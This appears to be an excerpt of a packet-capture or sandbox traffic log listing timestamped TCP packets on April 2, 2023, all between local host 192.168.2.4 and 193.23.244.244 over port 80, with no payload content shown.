Apr 2, 2023 09:49:19.043479919 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043493986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043520927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043534994 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043549061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043576002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043586969 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043603897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043631077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043639898 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043658972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043687105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043709040 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043715954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043742895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043761015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043771982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043797970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043822050 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043827057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043855906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043883085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043884039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043912888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043937922 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.043942928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043971062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.043998957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044001102 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044027090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044050932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044054031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044080019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044106960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044106960 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044133902 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044161081 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044162035 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044192076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044205904 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044219971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044246912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044267893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044275045 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044301987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044321060 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044329882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044357061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044380903 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.044384003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.044430971 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.048033953 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.063945055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.063982010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.064011097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.064034939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.076668978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076709032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076735973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076762915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076792002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076819897 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.076857090 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.076899052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076931000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076956987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.076958895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.076968908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.076986074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077014923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077034950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.077044964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077071905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077085018 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.077101946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077131033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077147961 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.077158928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077191114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077202082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.077219963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.077258110 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.092727900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092777014 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092807055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092859983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092890024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092901945 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.092917919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092932940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.092947006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.092952967 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.092976093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093003988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093013048 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093033075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093060970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093070030 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093089104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093118906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093147993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093158007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093183041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093200922 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093214989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093242884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093261003 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093272924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093301058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093313932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093329906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093360901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093370914 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093393087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093421936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093430996 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093452930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093482018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093491077 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093511105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093538046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093547106 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093568087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093595982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093604088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093626022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093655109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093663931 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093684912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093713999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093724966 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093745947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093775034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093781948 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093805075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093832970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093841076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093863010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093892097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093898058 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093921900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093949080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.093956947 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.093977928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094007969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094013929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094037056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094064951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094073057 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094096899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094125032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094132900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094153881 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094182968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094188929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094213009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094242096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094249010 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094271898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094300032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094305038 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094331026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094358921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094363928 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094388962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094415903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094432116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094444990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094475031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094491959 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094504118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094533920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094540119 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094562054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094589949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094597101 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094620943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094650030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094657898 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094681025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094723940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094728947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094758034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094786882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094794989 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094815969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094845057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094851971 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094872952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094902992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094909906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094932079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094960928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.094968081 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.094991922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095021963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095026970 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.095052958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095082998 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095088959 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.095113039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095141888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095155954 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.095170975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095206022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.095221043 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.117801905 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146668911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146724939 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146753073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146780968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146799088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146807909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146822929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146833897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146859884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146869898 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146886110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146914005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146919966 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146939993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146972895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.146981955 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.146998882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147027016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147063017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147068024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147095919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147105932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147125006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147150993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147157907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147181988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147212029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147214890 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147241116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147269011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147275925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147298098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147325993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147332907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147356033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147383928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147389889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147412062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147440910 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147448063 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147469997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147497892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147505045 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147526979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147553921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147561073 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147583008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147609949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147617102 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147638083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147665024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147670984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147694111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147722006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147727013 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147751093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147778988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147783995 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147806883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147838116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147840023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147866964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147893906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147898912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147922039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147948980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.147953033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.147979021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148005962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148011923 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148034096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148062944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148068905 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148091078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148118019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148124933 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148145914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148174047 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148179054 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148205042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148231030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148236990 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148257971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148286104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148292065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148313999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148341894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148346901 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148370028 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148397923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148403883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148426056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148452997 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148459911 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148482084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148509026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148516893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148540020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148567915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148574114 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148596048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148608923 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148623943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148637056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148653984 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148684025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148703098 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148721933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148749113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148762941 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148776054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148802996 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148808956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148832083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148848057 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148859978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148886919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148891926 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148915052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148941040 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148947001 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.148968935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.148996115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149003029 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:19.149024963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:19.149051905 CEST	80	49699	193.23.244.244	192.168.2.4
